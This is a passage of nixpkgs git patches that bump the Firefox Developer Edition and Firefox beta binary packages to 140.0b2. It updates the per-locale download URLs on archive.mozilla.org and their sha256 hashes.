+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sq/Firefox%20140.0b2.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "b57ecf837b0930f369a87bac330854dc952ea8fd664bc4d9367a1bc602884543";
+      sha256 = "29e2b1ea31394dc37021433220e8962dfa24e146491280a93b97b4bc5a0a4bb1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sr/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sr/Firefox%20140.0b2.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "608a72824910e43dc62d6c6e856edf886e280fa1499eda3fb15df01aa58475ae";
+      sha256 = "df4ecb60378e381c578952e0f3be3adcf7453b21c43a4c2015a596b118c7d683";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/sv-SE/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/sv-SE/Firefox%20140.0b2.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "64c79d0c96810221692d65cf3830a4dc68c0123e93c15b4e6425825f2a485bc6";
+      sha256 = "b0f0d77d48cd31bc6b61253ecec6a99c7b4e5ae79659dad34b937790118e64e9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/szl/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/szl/Firefox%20140.0b2.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "598d0cedf0037f92e579917de539a72d2bf89963cc09e182dc298912724adc7b";
+      sha256 = "460465dc52fb1d8c4776d20b275fa31dd6a6b3c959ae29a17ac0a57570deaeeb";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ta/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ta/Firefox%20140.0b2.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "5046f6a144780b890bd13599b5043b95989838ae021180c08479755411de60a3";
+      sha256 = "aa67060f3c84e4691b24e6673e8320031422f4443038fa6534a963c63a60e37c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/te/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/te/Firefox%20140.0b2.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "e5dd35d5878bf0b397c6b55e4bf03405068e188c655f426160f00a2dee4eda87";
+      sha256 = "35df147c9ef6d765889ff758c3c5214bc5dc5eff7f9eb0080724bf70d2192a25";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/tg/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/tg/Firefox%20140.0b2.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "245f224cb73ea1337c04d839cd10b5d5d67e9d1d278696cc408c7e7d71154124";
+      sha256 = "dac6ebb25fe418ffc29811398bdbd2b5ec2c5ac522b1baacc8b0ed15923e18a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/th/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/th/Firefox%20140.0b2.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "056638b388bd20f14c6c41662aa0a495600a40ec9393e5d157fa9fcb0649ec78";
+      sha256 = "d055912dca60a974f7301ce63599cd685c24a375df4622c28ccbeff67eb1df50";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/tl/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/tl/Firefox%20140.0b2.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "32d4699b72e0e0adbca59d84fc63a3ce5a3780976545d1a3d150cabf0856b78b";
+      sha256 = "c7f9cb0e805776940e0f33849ff9f321f53b93e21470057432e45ad2638cce43";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/tr/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/tr/Firefox%20140.0b2.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "a8a3028435311d2c4124254372a5d6008ced3fae5cbcadbf25b02d74509c0c7d";
+      sha256 = "97d25c6dc788e64f1857f0c1fec8745a0f3a16cd802dd5af3d3c167d9158e1dc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/trs/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/trs/Firefox%20140.0b2.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "f1d8039af76a04dca82979c42971d1096456e196f4a1124ec4beed727f2185d3";
+      sha256 = "aed82548580fef5dda24a7b48f301ff7fb23041f9e00f651392e38ef92dc7a80";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/uk/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/uk/Firefox%20140.0b2.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "838a1942ea4ca9e163b06df9bc72970e128af87e4a35376f912623ef73b5b52b";
+      sha256 = "792e2b27880a62f5eef7b93c36a35d89404b964cd17b879bd14e567e846d55c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/ur/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ur/Firefox%20140.0b2.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "306d04d7c9965e1c3c5ce1f45574b82437c32316dd5857c066c228d2a22606d2";
+      sha256 = "1e9c8922a7cf00a080b9e69186136dee0f84d44ab61cb8ac8390f77dfb5d7982";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/uz/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/uz/Firefox%20140.0b2.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "93c61ed4ffb6875756b366f1ffe01682303bdb6ed20c6d2d7e44979305d31254";
+      sha256 = "674551891bbe01db98fbc843ce035c473a19bb6ea7f9b50cfca6a57d281f4345";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/vi/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/vi/Firefox%20140.0b2.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "60fad61144cfdeeaad641b714e4e63ca184079d58091dc555975543657d54fcc";
+      sha256 = "14d97055a0487c9a7f82959ff4e0978bc67867c5f969ea90cedf1d18a976a344";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/xh/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/xh/Firefox%20140.0b2.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "00f599dfacd33bb98f67e05fab0d9588456de666f9bb78eb52e22d96a4f1e323";
+      sha256 = "e91833e99b4e8b04f690c1e041e2db288d5f64412e04f34bbc3d8b00123a32b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/zh-CN/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/zh-CN/Firefox%20140.0b2.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "0ab249304b86ca7ae055291353a4627e507d2699b6346b9ff3dbeba3766ba044";
+      sha256 = "721f621b057bcfea7397b16f8e5da98e0059a742809c8b0d3fd54d3b459ac1bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/139.0b3/mac/zh-TW/Firefox%20139.0b3.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/zh-TW/Firefox%20140.0b2.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "b9c4765a5aed85cece38efa50fed10fa361ba9ba56d9c40925661885680d8165";
+      sha256 = "0f0dc4ebad9ff5c09a4c015cff5e76a7ca271dbadf185a23034806976a6dd1e5";
     }
   ];
 }

From 108f44f98a94fb73f85fa2161a53f350df30a061 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Wed, 28 May 2025 17:23:20 +0000
Subject: [PATCH 0187/4511] firefox-beta-bin-unwrapped: 139.0b4 -> 140.0b2

(cherry picked from commit 04ecd4150d37ecb90bbe2cb90f0ee78e9cbf4f8f)
---
 .../browsers/firefox-bin/beta_sources.nix     | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
index f3608e09d4a9..6ea22626836b 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/beta_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "139.0b4";
+  version = "140.0b2";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ach/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ach/firefox-140.0b2.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "709fe8a024c4531f515eb01a6b267a56029a03166ac5d6de413019fe0a8ba45e";
+      sha256 = "9772122fe9b864f2247c7fdb6e5d11813b25af4e86120959581ef8d1e4d43522";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/af/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/af/firefox-140.0b2.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "a62c1d62f6e2dfce5225df31b215f1227c7eabb220dc12043c8a5ad4c8f417f5";
+      sha256 = "dd758bbab164e46f9484b1a271b94d95dff15788998e137ba4ea6a4adc325625";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/an/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/an/firefox-140.0b2.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "63cc13f04ea6f0c77a6855cfad11f4f6f35bdaa3d5fc06edcf030a8ffcad7a6e";
+      sha256 = "e10bf7cb75a4b9c395aa2c0adf1f5406daaab1ed2148a6c8cad034376e79380c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ar/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ar/firefox-140.0b2.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "0298c9c247c673847b8154d19b35b7379345409dfb9a5d80f2a6239e972e7cdc";
+      sha256 = "09d6db922f63c3a0b9fa080050820f9a83c517c6faa0848bd104a669336789b1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ast/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ast/firefox-140.0b2.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "f48ab573fdad0eeb69b4c70a99e8cf7af87783f6698c591d01739ed3ea870723";
+      sha256 = "5e2bed35394f61519b2cc67e341e14002e692edbf7c52b5a5aca329403ff36ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/az/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/az/firefox-140.0b2.tar.xz";
       locale = "az";
       arch = "linux-x86_64";
-      sha256 = "add78dfa402bf925f4834c4e0b698b5dbe01d99e1838de9c03272f819404b8d8";
+      sha256 = "7f56c3afe0cb2a899411496e5f989b44834bafb0febda20bed7495ec5dfcd8d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/be/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/be/firefox-140.0b2.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "0500f7ce071b2867a712f32a830ae65a98cfd7b4beb28ea9623361affca11e62";
+      sha256 = "202cde7a9402777c80ce654b264007d13baf7e573ecb6ada8ac21a58ff80c6c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/bg/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/bg/firefox-140.0b2.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "a32e773d73f2a10cf17292c65f21e0e3fc1516dd4093111ddbe54d4fd553a26b";
+      sha256 = "58d17e006afc3a024d843ad196b09a5ed19b29ab40318be8d0682b4a21e73117";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/bn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/bn/firefox-140.0b2.tar.xz";
       locale = "bn";
       arch = "linux-x86_64";
-      sha256 = "dc1386c1677b429980463325db93c9a96c1a4178bd2604adf3e943ae6a5890a1";
+      sha256 = "8f21073aaa86facd7e5828857f3581e67949be14a359c1a99967e02ebc888a03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/br/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/br/firefox-140.0b2.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "26ec0871ac96b3ce28d7953d4ead1df0d2826b5c2650fe1db2af238753edfc9c";
+      sha256 = "ee8f892efd0dd4a9bb2d45609f54c7ca06e1e803c7a1abbed7bc3a80ac03cd3e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/bs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/bs/firefox-140.0b2.tar.xz";
       locale = "bs";
       arch = "linux-x86_64";
-      sha256 = "6a2ab79e63632932b673e7d22a98767b7e923094ead8ecd48511444b46be6dcc";
+      sha256 = "11308e30b1a7bb4c26779048b5cf6c36ed6f1092c6aebb19c5413379b000c245";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ca-valencia/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ca-valencia/firefox-140.0b2.tar.xz";
       locale = "ca-valencia";
       arch = "linux-x86_64";
-      sha256 = "fb19289c0f3d03d5f66467ad740d753f43e6fc2601f87d130209ec0c836fe718";
+      sha256 = "e99bb572c923e86dab8ca768dd7016553a166bff9479ed568e0c0cf823058b8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ca/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ca/firefox-140.0b2.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "6380ca078dfec8f821f537a685b2b5f7b4ff9e328ef0a5acbf6257069c0b27e5";
+      sha256 = "b0cce2c03c5a3b5741cfa158f8cf294c51b881ba101695e00c91b1bd14f897e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/cak/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/cak/firefox-140.0b2.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "4947e4d6c8433efa7379115eb0523f75ec3c00bcdfa8179f97ae97ef662bd8a4";
+      sha256 = "bc26e0bd9336906decce9e79bc4501335d1144bfe4acad0e34d604982a99e799";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/cs/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/cs/firefox-140.0b2.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "49b157447c444099afa5177aa7179d98f71171fee8a89f0ce14c65fd9af58214";
+      sha256 = "d94e4fdd4aa4c2cc57c8dd5cc3f28c9287d916ac98d803048f9c254b7036b32c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/cy/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/cy/firefox-140.0b2.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "f440960100c6685444e6507a4e0f072871b410784967e2f00c04ef9427609a78";
+      sha256 = "f6e8adfabb271dc3275af1c0123a050a9acea8cb20d69da53c06b1f8b93abcb5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/da/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/da/firefox-140.0b2.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "ea2cefb990e4bd8f283c45a14bbf7a5ca420b69542692d2bb86093c885a1f627";
+      sha256 = "a0c7e0fd4daa6f83ea721bddcb67b0dcaebfa971964d5eb8b30421c6ccf9afb2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/de/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/de/firefox-140.0b2.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "5bacffc6c87f049f865c2a6ad00e5d26a4b4ba879092902165db0a345daaf77e";
+      sha256 = "a41061a13e540377854c68bac1e0ead0e43fb6eb398cedd1c7d072fbd1aa7d2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/dsb/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/dsb/firefox-140.0b2.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "f93de9c31f9d63d41fbe7635103500a81144888518bc8c2f698e39d4b0357028";
+      sha256 = "a4ee38be8dc35f327c7e10178f5d589234ece7fa82799748e51c10b9b2a03e57";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/el/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/el/firefox-140.0b2.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "201f51c2f4f30618d8e9f614cf27b3e07e899f852504becdf46f6a15220309c7";
+      sha256 = "76c892f181579b8d86468789df62e2f61b87be550235884419966dcdf5f159b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/en-CA/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/en-CA/firefox-140.0b2.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "ef5403be996abf97e9c58c5ebcd0c74fe9a14122119c33266e30428a60c4c944";
+      sha256 = "57cf1cb329540eb612f2b2392ade585b4505a89ad32dc4bbc6adb199ec179b31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/en-GB/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/en-GB/firefox-140.0b2.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "64b2ce817ac1cfb314a9f22456716f9e1e5d7893bf46fd6b55d203c718df6c9a";
+      sha256 = "62b77a005adc751657d1c40c8f744c7d1c0ab341a6bd3ee0e7864f69ed2759f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/en-US/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/en-US/firefox-140.0b2.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "21bfb99fe445e64ad8fb86822fd6d77c9c0d387530b787f3c3fc99b97723d664";
+      sha256 = "828cac8a8d7e83fd82c13c979fce4a77262be2d8bf6639612664ca1f10c96ec1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/eo/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/eo/firefox-140.0b2.tar.xz";
       locale = "eo";
       arch = "linux-x86_64";
-      sha256 = "531b94cf1b0a20de877bbe1cc9e3ab3ae9b7dd8729586a70a43f04576909c99e";
+      sha256 = "91f3b063d16c364419ec2ccdd152c05b19a0bb38eededdd2461d79952a760753";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/es-AR/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-AR/firefox-140.0b2.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "f80d18dca3009011d97bb89726d9b09c548e239383412615c4a341537e157165";
+      sha256 = "b2edc4c81a5910901a6e2e9b90b2fc3c625f67e74f746cbc3ca4a32dc9115611";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/es-CL/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-CL/firefox-140.0b2.tar.xz";
       locale = "es-CL";
       arch = "linux-x86_64";
-      sha256 = "f2144b0b492eff30dbd95ab92ef9523d3d7d48dbad2efc52e8401a4e4f85d561";
+      sha256 = "f35abf87c2ac7afe6f75861bf99595a06f7216de0003f91cde3c719f3a2b0124";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/es-ES/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-ES/firefox-140.0b2.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "895b92176b7dc1a492574bb625e6264548377adabd1655c6ba07eb24a786c1a6";
+      sha256 = "575e9368ff7bbac6c168441d1095472bd29eeaf8dbb271bf7c1ef14d0e0c69ed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/es-MX/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/es-MX/firefox-140.0b2.tar.xz";
       locale = "es-MX";
       arch = "linux-x86_64";
-      sha256 = "b770be36d7b93925baf0c85fcccecb73f1c1b8845615e7631f3d83e8fafe10ce";
+      sha256 = "5ce0c62e79621a15c533768282344b523b96c478d463de58754e3808bccf4d0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/et/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/et/firefox-140.0b2.tar.xz";
       locale = "et";
       arch = "linux-x86_64";
-      sha256 = "e88a52d747dc3d6c5a449c5449fb2b412441f41da64c496da22f5880ba5c4752";
+      sha256 = "b8493cd786ec0beb918cd7bbe5009d039ec6e5b8fa2f8cdd80309a3325947015";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/eu/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/eu/firefox-140.0b2.tar.xz";
       locale = "eu";
       arch = "linux-x86_64";
-      sha256 = "4d7d7fe2f695c79418a746c875cfd9357cb290ad8b6d253774a3ab92fe235210";
+      sha256 = "5573776ed1d9b4dda2d0bd566b2b4c8a83906193005f2db7f953d1eb57079335";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/fa/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fa/firefox-140.0b2.tar.xz";
       locale = "fa";
       arch = "linux-x86_64";
-      sha256 = "8cb53568f15e61491f0b3c03a1e71599cac3ce278f145f638830b9d22b789ff4";
+      sha256 = "59a775986c659bf12ef00f2f13de480b69279d1881358827244eae0ba6631976";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ff/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ff/firefox-140.0b2.tar.xz";
       locale = "ff";
       arch = "linux-x86_64";
-      sha256 = "2f229d6811bbc2bde175dc9b6fea0b1fdf4221f9f8042cf50d67513074a45a5e";
+      sha256 = "2e5bec3ebf2b31d9a3eac67f03f9fadf249956df08529fccfb1fe6d305c99e31";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/fi/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fi/firefox-140.0b2.tar.xz";
       locale = "fi";
       arch = "linux-x86_64";
-      sha256 = "316ac34c897feb1b98f677436d4dbac7b4a5c5fc29cf07bb55341736b156ae0a";
+      sha256 = "f31288ef2e48ac0cb3fdff3395346927fd866878d22bcc9be6a70fb1c86cb441";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/fr/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fr/firefox-140.0b2.tar.xz";
       locale = "fr";
       arch = "linux-x86_64";
-      sha256 = "2b1e4ab91f25e9b95fb894231709d086d9645eb76a64e0db194dd386e8f362ac";
+      sha256 = "4d011e05781ad8cf93d704e7455e28a0325c07d0b3bd12ade2f315b918e9fe65";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/fur/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fur/firefox-140.0b2.tar.xz";
       locale = "fur";
       arch = "linux-x86_64";
-      sha256 = "1a2c3b4e20c5cbbd6531c53516bcd97478cd86f6bc8b2761fd7074cc9e0429d0";
+      sha256 = "042c4f0d7fa4a638db9dec99fd30d7af490fd11097b4adfa9f7d474bccabb4a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/fy-NL/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/fy-NL/firefox-140.0b2.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "ca55a18278f39416d4982834357d8ee4e9dbb47e129feb3d45b4912f411dcfc6";
+      sha256 = "7c44584b9bc19d943191385cc8c56420f77fba6e4f9712a229797b3cf6588639";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/ga-IE/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/ga-IE/firefox-140.0b2.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "34594aded12da96b71053623e9bdc09367d8d28281f6ea31be81dc1eab4d76f1";
+      sha256 = "33ee655e264ed6b96a3aa75e7f1d7cd6c188fa55eb6c07c633cd7a388d04ce03";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/gd/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gd/firefox-140.0b2.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "a6dffbb23c3b61f25a913933d700ace50954ae6e879a9d7d4b73c1a864954523";
+      sha256 = "24a8becd37c3836af08e14e010914563ab4a205380b8a7ebeb856afe552f6c17";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/gl/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gl/firefox-140.0b2.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "a629a7d61624ade963df689fbee4add6f3eca0f603bd8fcc75563480642e7e97";
+      sha256 = "a0be7754c2e9b50429b62decb89123da0818530ffdecfae333b2c94342d23975";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0b4/linux-x86_64/gn/firefox-139.0b4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b2/linux-x86_64/gn/firefox-140.0b2.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "fb827103cafe3179b1b17f8fdc21e2008a5ff24f4502b923c7426ae91fc26c91";
+      sha256 = "ad5844d9720a0847aa8ccd06fe2fb948cbebc2b1adfe0fc871d18b0461ad4591";
     }
     {
